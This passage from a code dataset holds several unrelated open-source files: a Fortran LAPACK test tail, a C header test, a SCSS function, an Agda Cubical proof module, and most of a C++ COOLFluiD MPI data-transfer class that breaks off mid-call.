I2, ' is', 0P, F8.2 )\n 9988 FORMAT( ' Input example #', I2, ', matrix order=', I4, ',',\n $ ' result ', I2, ' is', 1P, D10.3 )\n 9987 FORMAT( ' DDRGVX: ', A, ' returned INFO=', I6, '.', / 9X, 'N=',\n $ I6, ', Input example #', I2, ')' )\n*\n 9986 FORMAT( ' DDRGVX: ', A, ' Eigenvectors from ', A, ' incorrectly ',\n $ 'normalized.', / ' Bits of error=', 0P, G10.3, ',', 9X,\n $ 'N=', I6, ', Input Example #', I2, ')' )\n*\n*\n* End of DDRGVX\n*\n END\n"} -{"text": "/* This test purpose is simply to check Standard header independancy that\n * is to say that the header can be included alone without any previous\n * include.\n * Additionnaly, for C Standard headers that STLport expose, it can also be\n * used to check that files included by those headers are compatible with\n * pure C compilers.\n */\n#include \n"} -{"text": "@function set-button-shadow($c){\n @if (lightness($c) >= 70) {\n @return 8%;\n }\n\n @if (lightness($c) <= 69){\n @return 14%;\n }\n\n @if (lightness($c) <= 30) {\n @return 27%;\n }\n}\n"} -{"text": "{-\n\nDefinition of a homogeneous pointed type, and proofs that pi, product, path, and discrete types are homogeneous\n\nPortions of this file adapted from Nicolai Kraus' code here:\n https://bitbucket.org/nicolaikraus/agda/src/e30d70c72c6af8e62b72eefabcc57623dd921f04/trunc-inverse.lagda\n\n-}\n{-# OPTIONS --cubical --no-import-sorts --safe #-}\nmodule Cubical.Foundations.Pointed.Homogeneous where\n\nopen import Cubical.Foundations.Prelude\nopen import Cubical.Foundations.Equiv\nopen import Cubical.Foundations.Isomorphism\nopen import Cubical.Foundations.Univalence\nopen import Cubical.Foundations.Path\nopen import Cubical.Data.Sigma\nopen import Cubical.Data.Empty as \u22a5\nopen import Cubical.Relation.Nullary\n\nopen import Cubical.Foundations.Pointed.Base\nopen import Cubical.Foundations.Pointed.Properties\nopen import Cubical.Structures.Pointed\n\nisHomogeneous : \u2200 {\u2113} \u2192 Pointed \u2113 \u2192 Type (\u2113-suc \u2113)\nisHomogeneous {\u2113} (A , x) = \u2200 y \u2192 Path (Pointed \u2113) (A , x) (A , y)\n\n\nisHomogeneousPi : \u2200 {\u2113 \u2113'} {A : Type \u2113} {B\u2219 : A \u2192 Pointed \u2113'}\n \u2192 (\u2200 a \u2192 isHomogeneous (B\u2219 a)) \u2192 isHomogeneous (\u03a0\u1d58\u2219 A B\u2219)\nisHomogeneousPi h f i = (\u2200 a \u2192 typ (h a (f a) i)) , (\u03bb a \u2192 pt (h a (f a) i))\n\nisHomogeneousProd : \u2200 {\u2113 \u2113'} {A\u2219 : Pointed \u2113} {B\u2219 : Pointed \u2113'}\n \u2192 isHomogeneous A\u2219 \u2192 isHomogeneous B\u2219 \u2192 isHomogeneous (A\u2219 \u00d7\u2219 B\u2219)\nisHomogeneousProd hA hB (a , b) i = (typ (hA a i)) \u00d7 (typ (hB b i)) , (pt (hA a i) , pt (hB b i))\n\nisHomogeneousPath : \u2200 {\u2113} (A : Type \u2113) {x y : A} (p : x \u2261 y) \u2192 isHomogeneous ((x \u2261 y) , p)\nisHomogeneousPath A {x} {y} p q\n = pointed-sip ((x \u2261 y) , p) ((x \u2261 y) , q) (eqv , compPathr-cancel p q)\n where eqv : (x \u2261 y) \u2243 (x \u2261 y)\n eqv = compPathlEquiv (q \u2219 sym p)\n\nmodule HomogeneousDiscrete {\u2113} {A\u2219 : Pointed \u2113} (dA : Discrete (typ A\u2219)) (y : typ A\u2219) where\n\n -- switches pt A\u2219 with y\n switch : typ A\u2219 \u2192 typ A\u2219\n switch x with dA x (pt A\u2219)\n ... | yes _ = y\n ... | no _ with dA x y\n ... | yes _ = pt A\u2219\n ... | no _ = x\n\n switch-ptA\u2219 : switch (pt A\u2219) \u2261 y\n switch-ptA\u2219 with dA (pt A\u2219) (pt A\u2219)\n ... | yes _ = refl\n ... | no \u00acp = \u22a5.rec (\u00acp refl)\n\n switch-idp : \u2200 x \u2192 switch (switch x) \u2261 x\n switch-idp x with dA x (pt A\u2219)\n switch-idp x | yes p with dA y (pt A\u2219)\n switch-idp x | yes p | yes q = q \u2219 sym p\n switch-idp x | yes p | no _ with dA y y\n switch-idp x | yes p | no _ | yes _ = sym p\n switch-idp x | yes p | no _ | no \u00acp = \u22a5.rec (\u00acp refl)\n switch-idp x | no \u00acp with dA x y\n switch-idp x | no \u00acp | yes p with dA y (pt A\u2219)\n switch-idp x | no \u00acp | yes p | yes q = \u22a5.rec (\u00acp (p \u2219 q))\n switch-idp x | no \u00acp | yes p | no _ with dA (pt A\u2219) (pt A\u2219)\n switch-idp x | no \u00acp | yes p | no _ | yes _ = sym p\n switch-idp x | no \u00acp | yes p | no _ | no \u00acq = \u22a5.rec (\u00acq refl)\n switch-idp x | no \u00acp | no \u00acq with dA x (pt A\u2219)\n switch-idp x | no \u00acp | no \u00acq | yes p = \u22a5.rec (\u00acp p)\n switch-idp x | no \u00acp | no \u00acq | no _ with dA x y\n switch-idp x | no \u00acp | no \u00acq | no _ | yes q = \u22a5.rec (\u00acq q)\n switch-idp x | no \u00acp | no \u00acq | no _ | no _ = refl\n\n switch-eqv : typ A\u2219 \u2243 typ A\u2219\n switch-eqv = isoToEquiv (iso switch switch switch-idp switch-idp)\n\nisHomogeneousDiscrete : \u2200 {\u2113} {A\u2219 : Pointed \u2113} (dA : Discrete (typ A\u2219)) \u2192 isHomogeneous A\u2219\nisHomogeneousDiscrete {\u2113} {A\u2219} dA y\n = pointed-sip (typ A\u2219 , pt A\u2219) (typ A\u2219 , y) (switch-eqv , switch-ptA\u2219)\n where open HomogeneousDiscrete {\u2113} {A\u2219} dA y\n"} -{"text": "#include \n\n#include \"Common/NotImplementedException.hh\"\n#include \"Common/CFPrintContainer.hh\"\n\n#include \"Framework/DataHandle.hh\"\n#include \"Framework/MethodCommandProvider.hh\"\n#include \"Framework/MethodCommand.hh\"\n#include \"Framework/SubSystemStatus.hh\"\n#include \"Framework/MeshData.hh\"\n#include \"Framework/CommandGroup.hh\"\n#include \"Framework/NamespaceSwitcher.hh\"\n#include \"Framework/VarSetTransformer.hh\"\n\n#include \"ConcurrentCoupler/ConcurrentCouplerData.hh\"\n#include \"ConcurrentCoupler/ConcurrentCoupler.hh\"\n#include \"ConcurrentCoupler/StdConcurrentDataTransfer.hh\"\n\n//////////////////////////////////////////////////////////////////////////////\n\nusing namespace std;\nusing namespace COOLFluiD::Common;\nusing namespace COOLFluiD::Framework;\n\n//////////////////////////////////////////////////////////////////////////////\n\nnamespace COOLFluiD {\n\n namespace Numerics {\n\n namespace ConcurrentCoupler {\n\n//////////////////////////////////////////////////////////////////////////////\n\nMethodCommandProvider \nstdConcurrentDataTransferProvider(\"StdConcurrentDataTransfer\");\n\n//////////////////////////////////////////////////////////////////////////////\n\nvoid StdConcurrentDataTransfer::defineConfigOptions(Config::OptionList& options)\n{ \n options.addConfigOption< vector >\n (\"SocketsSendRecv\",\"Sockets to transfer, for example: Namespace1_send>Namespace2_recv (no space on both sides of \\\">\\\".\");\n options.addConfigOption< vector >\n (\"SocketsConnType\",\"Connectivity type for sockets to transfer (State or Node): this is ne1eded to define global IDs.\");\n options.addConfigOption< vector >\n (\"SendToRecvVariableTransformer\",\"Variables transformers from send to recv variables.\");\n}\n \n//////////////////////////////////////////////////////////////////////////////\n\nStdConcurrentDataTransfer::StdConcurrentDataTransfer(const std::string& name) :\n ConcurrentCouplerCom(name),\n _createGroup(true),\n _sockets(),\n socket_states(\"states\"),\n _sendToRecvVecTrans(),\n _isTransferRank(),\n _global2localIDs(),\n _socketName2data()\n{\n addConfigOptionsTo(this);\n \n _socketsSendRecv = vector();\n setParameter(\"SocketsSendRecv\",&_socketsSendRecv);\n \n _socketsConnType = vector();\n setParameter(\"SocketsConnType\",&_socketsConnType);\n \n _sendToRecvVecTransStr = vector();\n setParameter(\"SendToRecvVariableTransformer\", &_sendToRecvVecTransStr);\n}\n \n//////////////////////////////////////////////////////////////////////////////\n\nStdConcurrentDataTransfer::~StdConcurrentDataTransfer()\n{\n for (CFuint i =0 ; i < _socketName2data.size(); ++i) {\n if (_socketName2data[i] != CFNULL) {\n delete _socketName2data[i];\n } \n }\n}\n\n//////////////////////////////////////////////////////////////////////////////\n\nstd::vector >\nStdConcurrentDataTransfer::needsSockets()\n{\n std::vector > result = _sockets.getAllSinkSockets();\n result.push_back(&socket_states);\n return result;\n}\n\n//////////////////////////////////////////////////////////////////////////////\n\nvoid StdConcurrentDataTransfer::configure ( Config::ConfigArgs& args )\n{\n ConcurrentCouplerCom::configure(args);\n \n if (_socketsConnType.size() != _socketsSendRecv.size()) {\n CFLog(ERROR, \"StdConcurrentDataTransfer::configure() => SocketsSendRecv.size() != SocketsConnType.size()\\n\");\n cf_assert(_socketsConnType.size() == _socketsSendRecv.size());\n }\n \n // configure variable transformers\n const string name = getMethodData().getNamespace();\n SafePtr nsp = \n NamespaceSwitcher::getInstance(SubSystemStatusStack::getCurrentName()).getNamespace(name);\n SafePtr physModel = PhysicalModelStack::getInstance().getEntryByNamespace(nsp);\n SafePtr vecTransProv = CFNULL;\n \n if (_sendToRecvVecTransStr.size() == 0) {\n _sendToRecvVecTransStr.resize(_socketsSendRecv.size(), \"Identity\");\n }\n _sendToRecvVecTrans.resize(_sendToRecvVecTransStr.size());\n \n for (CFuint i = 0; i < _sendToRecvVecTransStr.size(); ++i) {\n CFLog(VERBOSE, \"Configuring VarSet Transformer: \" << _sendToRecvVecTransStr[i] << \"\\n\");\n \n try {\n vecTransProv = Environment::Factory::getInstance().getProvider\n\t(_sendToRecvVecTransStr[i]);\n }\n catch (Common::NoSuchValueException& e) {\n _sendToRecvVecTransStr[i] = \"Identity\";\n \n CFLog(VERBOSE, e.what() << \"\\n\");\n CFLog(VERBOSE, \"Choosing IdentityVarSetTransformer instead ...\" << \"\\n\");\n vecTransProv = Environment::Factory::getInstance().getProvider\n\t(_sendToRecvVecTransStr[i]);\n }\n \n cf_assert(vecTransProv.isNotNull()); \n _sendToRecvVecTrans[i].reset(vecTransProv->create(physModel->getImplementor()));\n cf_assert(_sendToRecvVecTrans[i].getPtr() != CFNULL);\n }\n}\n\n//////////////////////////////////////////////////////////////////////////////\n \nvoid StdConcurrentDataTransfer::setup()\n{\n // set up the variable transformer\n for (CFuint i = 0; i < _sendToRecvVecTrans.size(); ++i){\n _sendToRecvVecTrans[i]->setup(1);\n }\n \n cf_assert(_socketsSendRecv.size() > 0);\n _isTransferRank.resize(_socketsSendRecv.size());\n}\n \n//////////////////////////////////////////////////////////////////////////////\n \nvoid StdConcurrentDataTransfer::execute()\n{\n CFAUTOTRACE;\n \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => start\\n\");\n \n // this should go in the setup, but it uses blocking MPI collective calls \n // here is less harmful \n if (_createGroup) {\n // create a preliminary mapping between sockets names and related data to transfer\n for (CFuint i = 0; i < _socketsSendRecv.size(); ++i) {\n createTransferGroup(i);\n if (getMethodData().isActiveRank(_isTransferRank[i])) {\n\taddDataToTransfer(i);\n }\n }\n _createGroup = false;\n }\n \n for (CFuint i = 0; i < _socketsSendRecv.size(); ++i) {\n if (getMethodData().isActiveRank(_isTransferRank[i])) {\n SafePtr dtt = _socketName2data.find(_socketsSendRecv[i]); \n cf_assert(dtt.isNotNull());\n const CFuint nbRanksSend = dtt->nbRanksSend;\n const CFuint nbRanksRecv = dtt->nbRanksRecv;\n \n if (nbRanksSend > 1 && nbRanksRecv == 1) {\n\tgatherData(i);\n }\n else if (nbRanksSend == 1 && nbRanksRecv > 1) {\n\t// CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => before scatterData()\\n\");\n\tscatterData(i);\n\t// CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => after scatterData()\\n\");\n }\n else if (nbRanksSend > 1 && nbRanksRecv > 1) {\n\tthrow NotImplementedException\n\t (FromHere(),\"StdConcurrentDataTransfer::execute() => (nbRanksSend > 1 && nbRanksRecv > 1)\");\n }\n }\n \n // every process involved in the enclosing couping method needs to wait and synchronize \n // after each communication operation is accomplished, since the next operation might \n // involve some of the same ranks \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => before barrier\\n\");\n MPI_Barrier(PE::GetPE().getGroup(getMethodData().getNamespace()).comm);\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => after barrier\\n\");\n }\n \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::execute() => end\\n\");\n}\n\n//////////////////////////////////////////////////////////////////////////////\n\nvoid StdConcurrentDataTransfer::gatherData(const CFuint idx)\n{\n SafePtr dtt = _socketName2data.find(_socketsSendRecv[idx]); \n \n const string nspSend = dtt->nspSend;\n const string nspRecv = dtt->nspRecv;\n const string sendSocketStr = dtt->sendSocketStr;\n const string recvSocketStr = dtt->recvSocketStr;\n const string nspCoupling = dtt->groupName;\n \n CFLog(INFO, \"StdConcurrentDataTransfer::gatherData() from namespace[\" << nspSend \n\t<< \"] to namespace [\" << nspRecv << \"] => start\\n\");\n \n Group& group = PE::GetPE().getGroup(nspCoupling);\n const int rank = PE::GetPE().GetRank(\"Default\"); // rank in MPI_COMM_WORLD\n const int grank = PE::GetPE().GetRank(nspCoupling); // rank in group\n const CFuint nbRanks = group.globalRanks.size();\n \n // number of variables that count for the coupling\n cf_assert(idx < _sendToRecvVecTrans.size());\n SafePtr sendToRecvTrans = _sendToRecvVecTrans[idx].getPtr();\n cf_assert(sendToRecvTrans.isNotNull());\n \n CFuint sendcount = 0;\n vector recvbuf;\n vector sendbuf;\n vector sendIDs;\n vector recvIDs;\n vector recvcounts(nbRanks, 0);\n vector sendcounts(nbRanks, 0);\n vector displs(nbRanks, 0);\n \n // this case gathers contributions from all ranks in the \"send\" namespace \n // to a single rank correspoding to the \"recv\" namespace\n if (PE::GetPE().isRankInGroup(rank, nspSend)) { \n recvbuf.resize(1); // dummy in sending ranks\n\t\t\n // if my rank belong to the sending socket, gather first the number of elements to send\n SafePtr ds = getMethodData().getDataStorage(nspSend);\n if (_socketsConnType[idx] == \"State\") {\n fillSendDataGather(dtt, sendToRecvTrans, ds, sendcount, sendbuf, sendIDs);\n }\n if (_socketsConnType[idx] == \"Node\") {\n fillSendDataGather(dtt, sendToRecvTrans, ds, sendcount, sendbuf, sendIDs);\n }\n \n cf_assert(sendbuf.size() == sendcount);\n \n // fill in the number of counts to send from this rank\n sendcounts[grank] = sendcount;\n }\n \n MPIError::getInstance().check\n (\"MPI_Allreduce\", \"StdConcurrentDataTransfer::gatherData()\", \n MPI_Allreduce(&sendcounts[0], &recvcounts[0], nbRanks,\n\t\t MPIStructDef::getMPIType(&recvcounts[0]), MPI_MAX, group.comm));\n \n CFLog(DEBUG_MAX, CFPrintContainer >\n\t(\"StdConcurrentDataTransfer::gatherData() => recvcounts = \", &recvcounts));\n \n displs[0] = 0;\n CFuint totRecvcount = recvcounts[0];\n for (CFuint r = 1; r < nbRanks; ++r) {\n if (recvcounts[r] > 0) {\n displs[r] = totRecvcount;\n }\n totRecvcount += recvcounts[r];\n }\n cf_assert(totRecvcount == std::accumulate(recvcounts.begin(), recvcounts.end(),0));\n \n if (PE::GetPE().isRankInGroup(rank, nspRecv)) {\n recvbuf.resize(totRecvcount);\n sendIDs.resize(1);\n recvIDs.resize(totRecvcount);\n }\n \n int root = getRootProcess(nspRecv, nspCoupling);\n \n // transfer the actual data\n MPIError::getInstance().check\n (\"MPI_Gatherv\", \"StdConcurrentDataTransfer::gatherData()\", \n MPI_Gatherv(&sendbuf[0], sendcount, MPIStructDef::getMPIType(&sendbuf[0]),\n\t\t &recvbuf[0], &recvcounts[0], &displs[0], \n\t\t MPIStructDef::getMPIType(&sendbuf[0]), root, group.comm));\n \n // transfer the global IDs\n MPIError::getInstance().check\n (\"MPI_Gatherv\", \"StdConcurrentDataTransfer::gatherData()\", \n MPI_Gatherv(&sendIDs[0], sendcount, MPIStructDef::getMPIType(&sendIDs[0]),\n\t\t &recvIDs[0], &recvcounts[0], &displs[0], \n\t MPIStructDef::getMPIType(&sendIDs[0]), root, group.comm));\n \n if (grank == root) {\n // fill in the local array with all gathered data, after reordering them\n cf_assert(dtt->arraySize == totRecvcount);\n CFreal *const sarray = dtt->array;\n for (CFuint is = 0; is < totRecvcount; ++is) {\n cf_assert(is < recvIDs.size());\n cf_assert(is < recvbuf.size());\n sarray[recvIDs[is]] = recvbuf[is]; \n }\n } \n \n CFLog(INFO, \"StdConcurrentDataTransfer::gatherData() from namespace[\" << nspSend \n\t<< \"] to namespace [\" << nspRecv << \"] => end\\n\");\n}\n \n//////////////////////////////////////////////////////////////////////////////\n \nvoid StdConcurrentDataTransfer::scatterData(const CFuint idx)\n{ \n // AL: have to involve only the ranks involved in this scattering\n SafePtr dtt = _socketName2data.find(_socketsSendRecv[idx]); \n cf_assert(dtt.isNotNull());\n \n const string nspSend = dtt->nspSend;\n const string nspRecv = dtt->nspRecv;\n const string sendSocketStr = dtt->sendSocketStr;\n const string recvSocketStr = dtt->recvSocketStr;\n const string nspCoupling = dtt->groupName;\n \n CFLog(INFO, \"StdConcurrentDataTransfer::scatterData() from namespace[\" << nspSend \n\t<< \"] to namespace [\" << nspRecv << \"] within namespace [\" << nspCoupling << \"] => start\\n\");\n \n Group& group = PE::GetPE().getGroup(nspCoupling);\n const int rank = PE::GetPE().GetRank(\"Default\"); // rank in MPI_COMM_WORLD\n const int grank = PE::GetPE().GetRank(nspCoupling); // rank in coupling group\n const CFuint nbRanks = group.globalRanks.size();\n cf_assert(nbRanks > 0);\n \n // build mapping from global to local DOF IDs on the receiving side\n bool foundRank = false;\n \n if (PE::GetPE().isRankInGroup(rank, nspRecv)) { \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() nspRecv = \" << nspRecv << \"\\n\");\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() global2localIDs.size() = \" << _global2localIDs.size() << \"\\n\");\n \n if (_global2localIDs.size() == 0) {\n SafePtr ds = getMethodData().getDataStorage(nspRecv);\n cf_assert(ds.isNotNull());\n cf_assert(idx < _socketsConnType.size());\n if (_socketsConnType[idx] == \"State\") {\n\tCFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() State\\n\");\n\tfillMapGlobalToLocal(dtt, ds, _global2localIDs);\n }\n \n if (_socketsConnType[idx] == \"Node\") {\n\tCFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() Node\\n\");\n\tfillMapGlobalToLocal(dtt, ds, _global2localIDs);\n }\n }\n foundRank = true;\n }\n \n vector sendcounts(nbRanks, 0);\n vector sendIDcounts(nbRanks, 0);\n cf_assert(sendcounts.size() > 0);\n cf_assert(sendIDcounts.size() > 0);\n \n // this scatters contributions from one rank in the \"send\" namespace \n // to all ranks belonging to the \"recv\" namespace\n if (PE::GetPE().isRankInGroup(rank, nspSend)) { \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() nspSend = \" << nspSend << \"\\n\");\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() global2localIDs.size() = \" << _global2localIDs.size() << \"\\n\");\n \n SafePtr ds = getMethodData().getDataStorage(nspSend);\n cf_assert(ds.isNotNull());\n cf_assert(idx < _socketsConnType.size());\n if (_socketsConnType[idx] == \"State\") {\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() State\\n\");\n fillSendCountsScatter(dtt, ds, sendcounts, sendIDcounts);\n }\n if (_socketsConnType[idx] == \"Node\") {\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() Node\\n\");\n fillSendCountsScatter(dtt, ds, sendcounts, sendIDcounts);\n }\n foundRank = true;\n }\n cf_assert(foundRank);\n \n int root = getRootProcess(nspSend, nspCoupling);\n cf_assert(root >=0 );\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::scatterData() root = \" << root << \"\\n\");\n \n MPIStruct msSizes;\n int ln[2];\n ln[0] = ln[1] = nbRanks;\n MPIStructDef::buildMPIStruct(&sendcounts[0],&sendIDcounts[0],ln,msSizes);\n \n MPIError::getInstance().check\n (\"MPI_Bcast\", \"StdConcurrentDataTransfer::scatterData()\", \n MPI_Bcast(msSizes.start, 1, msSizes.type, root, group.comm));\n \n vector sendbuf(sendcounts[nbRanks-1]);\n vector sendIDs(sendIDcounts[nbRanks-1]);\n cf_assert(sendbuf.size() > 0);\n cf_assert(sendIDs.size() > 0);\n \n CFuint counter = 0;\n CFuint countID = 0;\n for (CFuint r = 0; r < nbRanks; ++r) {\n const CFuint sendSize = sendcounts[r]; \n const CFuint sendIDSize = sendIDcounts[r]; \n const CFuint stride = sendSize/sendIDSize;\n cf_assert(stride >= 1);\n \n if (grank == root) {\n CFreal *const dataToSend = dtt->array;\n cf_assert(dataToSend != CFNULL);\n for (CFuint s = 0; s < sendSize; ++s, ++counter) {\n\tcf_assert(s < sendbuf.size());\n\tsendbuf[s] = dataToSend[counter];\n }\n \n SafePtr ds = getMethodData().getDataStorage(nspSend);\n cf_assert(ds.isNotNull());\n if (_socketsConnType[idx] == \"State\") {\n\tconst string sStr = nspSend + \"_states\";\n\tDataHandle states = ds->getGlobalData(sStr);\n\tfor (CFuint s = 0; s < sendIDSize; ++s, ++countID) {\n\t cf_assert(countID < states.size());\n\t cf_assert(s < sendIDs.size());\n\t sendIDs[s] = states[countID]->getGlobalID(); \n\t}\n }\n if (_socketsConnType[idx] == \"Node\") {\n\tconst string nStr = nspSend + \"_nodes\";\n\tDataHandle nodes = ds->getGlobalData(nStr);\n\tfor (CFuint s = 0; s < sendIDSize; ++s, ++countID) {\n\t cf_assert(countID < nodes.size());\n\t cf_assert(s < sendIDs.size());\n\t sendIDs[s] = nodes[countID]->getGlobalID(); \n\t}\n }\n }\n \n MPIStruct ms;\n int lnn[2];\n lnn[0] = sendcounts[r];\n lnn[1] = sendIDcounts[r];\n MPIStructDef::buildMPIStruct(&sendbuf[0], &sendIDs[0], lnn, ms);\n \n MPIError::getInstance().check\n (\"MPI_Bcast\", \"StdConcurrentDataTransfer::scatterData()\", \n MPI_Bcast(ms.start, 1, ms.type, root, group.comm));\n \n if (grank != root) { \n cf_assert(idx < _sendToRecvVecTrans.size());\n SafePtr sendToRecvTrans = _sendToRecvVecTrans[idx].getPtr();\n cf_assert(sendToRecvTrans.isNotNull());\n const CFuint sendStride = dtt->sendStride;\n const CFuint recvStride = dtt->recvStride;\n // cf_assert(recvStride >= stride);\n RealVector tState(recvStride, static_cast(NULL));\n RealVector state(sendStride, static_cast(NULL));\n // when current rank finds a globalID, it copies the data in corresponding localID position\n CFreal *const dataToRecv = dtt->array;\n cf_assert(dataToRecv != CFNULL);\n for (CFuint id = 0; id < sendIDSize; ++id) {\n\tbool found = false;\n\tconst CFuint localID = _global2localIDs.find(sendIDs[id], found);\n\tif (found) {\n\t // here you need a transformer\n\t const CFuint startR = localID*recvStride;\n\t const CFuint startS = id*stride;\n\t cf_assert(stride == dtt->sendStride);\n\t // state.wrap(sendStride, &dataToRecv[startR]); // recheck send/recv sizes here (startS instead?)\n\t // tState.wrap(recvStride, &sendbuf[startS]); // recheck send/recv sizes here (startR instead?)\n\t state.wrap(sendStride, &sendbuf[startS]); \n\t tState.wrap(recvStride, &dataToRecv[startR]);\n\t sendToRecvTrans->transform((const RealVector&)state, (RealVector&)tState);\n\t}\n }\n }\n }\n \n CFLog(INFO, \"StdConcurrentDataTransfer::scatterData() from namespace[\" << nspSend \n\t<< \"] to namespace [\" << nspRecv << \"] within namespace [\" << nspCoupling << \"] => end\\n\");\n}\n \n//////////////////////////////////////////////////////////////////////////////\n\nint StdConcurrentDataTransfer::getRootProcess(const std::string& nsp, \n\t\t\t\t\t const std::string& nspCoupling) const\n{\n const int rank = PE::GetPE().GetRank(\"Default\"); // rank in MPI_COMM_WORLD\n Group& group = PE::GetPE().getGroup(nspCoupling);\n \n int root = -1;\n int sendroot = -1; \n if (PE::GetPE().isRankInGroup(rank, nsp)) {\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::getRootProcess() => global \" \n\t << \"rank = \" << rank << \" found in namespace [\" << nsp << \"]\\n\");\n sendroot = PE::GetPE().GetRank(nspCoupling);\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::getRootProcess() => group \" \n\t << \"rank = \" << sendroot << \" in namespace [\" << nspCoupling << \"]\\n\");\n }\n \n MPIError::getInstance().check\n (\"MPI_Allreduce\", \"StdConcurrentDataTransfer::getRootProcess()\", \n MPI_Allreduce(&sendroot, &root, 1, MPIStructDef::getMPIType(&root), \n\t\t MPI_MAX, group.comm));\n cf_assert(root >= 0);\n return root;\n}\n \n//////////////////////////////////////////////////////////////////////////////\n \nvoid StdConcurrentDataTransfer::addDataToTransfer(const CFuint idx)\n{\n DataToTrasfer* data = new DataToTrasfer();\n \n vector sendRecv = StringOps::getWords(_socketsSendRecv[idx],'>');\n cf_assert(sendRecv.size() == 2);\n \n // namespace_socket (send)\n const string sendSocketStr = sendRecv[0];\n vector nspSocketSend = StringOps::getWords(sendSocketStr,'_');\n cf_assert(nspSocketSend.size() == 2);\n \n // namespace_socket (recv)\n const string recvSocketStr = sendRecv[1];\n vector nspSocketRecv = StringOps::getWords(recvSocketStr,'_');\n cf_assert(nspSocketRecv.size() == 2);\n \n const string nspSend = nspSocketSend[0];\n const string socketSend = nspSocketSend[1];\n const string nspRecv = nspSocketRecv[0];\n const string socketRecv = nspSocketRecv[1];\n \n CFLog(VERBOSE, \"StdConcurrentDataTransfer::addDataToTransfer() => send: \" \n\t<< nspSend << \"-\" << socketSend << \"\\n\");\n CFLog(VERBOSE, \"StdConcurrentDataTransfer::addDataToTransfer() => recv: \" \n\t<< nspRecv << \"-\" << socketRecv << \"\\n\");\n \n const int rank = PE::GetPE().GetRank(\"Default\"); // rank in MPI_COMM_WORLD\n Group& groupSend = PE::GetPE().getGroup(nspSend);\n Group& groupRecv = PE::GetPE().getGroup(nspRecv);\n \n const string sendLocal = sendSocketStr + \"_local\";\n const string sendGlobal = sendSocketStr + \"_global\";\n const string recvLocal = recvSocketStr + \"_local\";\n const string recvGlobal = recvSocketStr + \"_global\";\n \n data->nspSend = nspSend;\n data->nspRecv = nspRecv;\n data->sendSocketStr = sendSocketStr;\n data->recvSocketStr = recvSocketStr;\n data->nbRanksSend = groupSend.globalRanks.size();\n data->nbRanksRecv = groupRecv.globalRanks.size();\n \n vector sendRecvStridesIn(2, 0);\n \n // send data\n if (PE::GetPE().isRankInGroup(rank, nspSend)) { \n SafePtr ds = getMethodData().getDataStorage(nspSend);\n \n // local data (CFreal)\n if (ds->checkData(sendSocketStr)) {\n DataHandle array = ds->getData(sendSocketStr);\n CFLog(VERBOSE, \"P\" << rank << \" has socket \" << sendSocketStr << \"\\n\"); \n \n CFuint dofsSize = 0;\n if (_socketsConnType[idx] == \"State\") {\n\tdata->dofsName = nspSend + \"_states\";\n\tFramework::DataHandle dofs = ds->getGlobalData(data->dofsName);\n\tdofsSize = dofs.size();\n }\n if (_socketsConnType[idx] == \"Node\") {\n\tdata->dofsName = nspSend + \"_nodes\";\n\tFramework::DataHandle dofs = ds->getGlobalData(data->dofsName);\n\tdofsSize = dofs.size();\n }\n \n data->array = &array[0]; \n data->arraySize = array.size();\n cf_assert(data->arraySize > 0);\n sendRecvStridesIn[0] = array.size()/dofsSize;\n }\n // global data (State*)\n else if (ds->checkData(sendLocal) && ds->checkData(sendGlobal)) {\n CFLog(VERBOSE, \"P\" << rank << \" has socket \" << sendSocketStr << \"\\n\"); \n DataHandle array = ds->getGlobalData(sendSocketStr);\n data->dofsName = sendSocketStr;\n data->array = array.getGlobalArray()->ptr();\n data->arraySize = array.size()*array[0]->size();\n cf_assert(data->arraySize > 0);\n sendRecvStridesIn[0] = array[0]->size();\n }\n }\n \n // recv data\n if (PE::GetPE().isRankInGroup(rank, nspRecv)) { \n SafePtr ds = getMethodData().getDataStorage(nspRecv);\n \n // local data (CFreal)\n if (ds->checkData(recvSocketStr)) {\n DataHandle array = ds->getData(recvSocketStr);\n CFLog(VERBOSE, \"P\" << rank << \" has socket \" << recvSocketStr << \"\\n\"); \n \n CFuint dofsSize = 0;\n if (_socketsConnType[idx] == \"State\") {\n\tdata->dofsName = nspRecv + \"_states\";\n\tFramework::DataHandle dofs = ds->getGlobalData(data->dofsName);\n\tdofsSize = dofs.size();\n }\n if (_socketsConnType[idx] == \"Node\") {\n\tdata->dofsName = nspRecv + \"_nodes\";\n\tFramework::DataHandle dofs = ds->getGlobalData(data->dofsName);\n\tdofsSize = dofs.size();\n }\n \n data->array = &array[0]; \n data->arraySize = array.size();\n cf_assert(data->arraySize > 0);\n sendRecvStridesIn[1] = array.size()/dofsSize;\n }\n // global data (State*)\n else if (ds->checkData(recvLocal) && ds->checkData(recvGlobal)) {\n CFLog(VERBOSE, \"P\" << rank << \" has socket \" << recvSocketStr << \"\\n\"); \n DataHandle array = ds->getGlobalData(recvSocketStr);\n CFLog(VERBOSE, \"P\" << rank << \" has socket \" << recvSocketStr << \" with sizes = [\" \n\t << array.getLocalSize() << \", \" << array.getGlobalSize() << \"]\\n\"); \n cf_assert(array.getLocalSize() == array.getGlobalSize());\n cf_assert(array.size() == array.getGlobalSize());\n \n data->dofsName = recvSocketStr;\n data->array = array.getGlobalArray()->ptr();\n data->arraySize = array.size()*array[0]->size();\n cf_assert(data->arraySize > 0);\n sendRecvStridesIn[1] = array[0]->size();\n }\n }\n \n vector sendRecvStridesOut(2,0);\n const string groupName = getName() + StringOps::to_str(idx);\n Group& group = PE::GetPE().getGroup(groupName);\n \n MPIError::getInstance().check\n (\"MPI_Allreduce\", \"StdConcurrentDataTransfer::addDataToTransfer()\", \n MPI_Allreduce(&sendRecvStridesIn[0], &sendRecvStridesOut[0], 2,\n\t\t 